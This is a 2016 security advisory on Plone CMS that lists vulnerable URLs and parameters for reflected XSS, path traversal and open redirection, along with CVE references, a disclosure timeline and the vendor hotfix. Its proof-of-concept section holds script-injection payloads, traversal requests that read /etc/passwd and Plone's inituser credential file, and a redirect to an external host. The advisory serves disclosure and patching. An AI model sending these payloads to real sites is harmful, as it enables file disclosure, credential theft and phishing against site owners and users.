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Plone CMS 4.3.11 / 5.0.6 XSS / Traversal / Open Redirection

Plone CMS 4.3.11 / 5.0.6 XSS / Traversal / Open Redirection
Posted Oct 12, 2016
Authored by Sebastian Perez

Plone CMS versions 4.3.11 and below and versions 5.0.6 and below suffer from cross site scripting, open redirection, and path traversal vulnerabilities.

tags | exploit, vulnerability, xss, file inclusion
advisories | CVE-2016-7135, CVE-2016-7136, CVE-2016-7137, CVE-2016-7138, CVE-2016-7139, CVE-2016-7140
SHA-256 | 7eddc9c56db82733428ab5449f625b5f1fb7cded46d37d40ff878f1154123451

Plone CMS 4.3.11 / 5.0.6 XSS / Traversal / Open Redirection

Change Mirror Download
[Product Description]
Plone is a free and open source content management system built on
top of the Zope application server. Plone is positioned as an
"Enterprise CMS" and is most commonly used for intranets and as part
of the web presence of large organizations


[Systems Affected]
Product : Plone
Version : All supported Plone versions (4.3.11 and any earlier 4.x
version, 5.0.6 and any earlier 5.x version). Previous versions could
be affected but have not been fully tested.


[Vulnerabilities]
3 vulnerabilities were identified within this application:
(1) Reflected XSS (CVE-2016-7136 / CVE-2016-7138 / CVE-2016-7139 /
CVE-2016-7140)
(2) Path Traversal (CVE-2016-7135)
(3) Open Redirection (CVE-2016-7137)


[Advisory Timeline]
18/07/2016 - Discovery and vendor notification
18/07/2016 - Vendor confirmed vulnerabilities and started working
on the fixes
30/08/2016 - Patch published by vendor
12/10/2016 - Public disclosure


[Patch Available]
According to the vendor, apply the hotfix 20160830
https://plone.org/security/hotfix/20160830


[Description of Vulnerabilities]

(1) Reflected XSS
Several Reflected Cross-Site Scripting were found within the
application. Except the first two instances, all the other instances
are only accessible by the "admin" user

[Vulnerable URLs and parameters]
<Plone Server>/Plone/login_form [next parameter]
<Plone Server>/Plone/@@confirm-action [original_url
parameter] ***See note 1***
<Plone Server>/Plone/@@filter-controlpanel
[form.widgets.class_blacklist parameter]
<Plone Server>/Plone/@@filter-controlpanel
[form.widgets.custom_tags parameter]
<Plone Server>/Plone/@@filter-controlpanel
[form.widgets.nasty_tags parameter]
<Plone Server>/Plone/@@filter-controlpanel
[form.widgets.stripped_attributes parameter]
<Plone Server>/Plone/@@filter-controlpanel
[form.widgets.stripped_tags parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.alignment_styles parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.block_styles parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.contains_objects parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.content_css parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.header_styles parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.image_objects parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.inline_styles parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.libraries_atd_ignore_strings parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.libraries_atd_show_types parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.menubar parameter]
<Plone Server>/Plone/@@tinymce-controlpanel
[form.widgets.table_styles parameter]
<Plone Server>/Plone/@@user-information [userid parameter]
<Plone Server>/Plone/@@navigation-controlpanel
[form.widgets.parent_types_not_to_query parameter]


[References]
CVE-2016-7136
https://plone.org/security/hotfix/20160830/non-persistent-xss-in-plone-forms
CVE-2016-7138
https://plone.org/security/hotfix/20160830/non-persistent-xss-in-plone-1
CVE-2016-7139
https://plone.org/security/hotfix/20160830/non-persistent-xss-in-plone
CVE-2016-7140
https://plone.org/security/hotfix/20160830/non-persistent-xss-in-zope2


[Proof Of Concept]
- <Plone
Server>/Plone/login_form?next=jaVascrIpt%3aalert(1)%2f%2f
- <Plone
Server>/Plone/@@filter-controlpanel?form.widgets.class_blacklist=</textarea><script>alert("form.widgets.class_blacklist")</script>
- <Plone
Server>/Plone/@@user-information?userid=admin<script>alert("userid")</script>

[Notes]
Note 1 - The javascript code is executed when the
"Confirm" button is clicked


(2) Path Traversal
A Path traversal vulnerability was found within the application
that allows to browse filesystem files using the permissions of the
user who is running the service. The resource is only accessible by
the "admin" user

[Vulnerable URLs and parameters]
<Plone
Server>/Plone/++theme++barceloneta/@@plone.resourceeditor.filemanager-actions
[path parameter]

[References]
CVE-2016-7135
https://plone.org/security/hotfix/20160830/filesystem-information-leak

[Proof Of Concept]
- <Plone
Server>/Plone/++theme++barceloneta/@@plone.resourceeditor.filemanager-actions?&action=getFile&path=/../../../../../../../../../etc/passwd
- <Plone
Server>/Plone/++theme++barceloneta/@@plone.resourceeditor.filemanager-actions?&action=getFile&path=/../../../../../../../../../var/www/html/zinstance/parts/instance/inituser


(3) Open Redirection
3 Instances of an open redirection were found within the
application, allowing any user to be redirected to an external website
(such as a phishing website) and therefore steal the user's
credentials

[Vulnerable URLs and parameters]
<Plone
Server>/Plone/%2b%2bgroupdashboard%2b%2bplone.dashboard1%2bgroup/%2b/portlets.Actions
[referer parameter]
<Plone
Server>/Plone/folder/%2b%2bcontextportlets%2b%2bplone.footerportlets/%2b/portlets.Actions
[referer parameter]
<Plone Server>/Plone/login_form [came_from parameter]

[References]
CVE-2016-7137
https://plone.org/security/hotfix/20160830/open-redirection-in-plone

[Proof Of Concept]
- <Plone
Server>/Plone/login_form?came_from=\\www.google.com/a?<Plone
Server>/Plone/folder_contents&next=&ajax_load=&ajax_include_head=&target=&mail_password_url=&join_url=&form.submitted=1&js_enabled=0&cookies_enabled=&login_name=&pwd_empty=0&__ac_name=admin&__ac_password=&submit=Log+in



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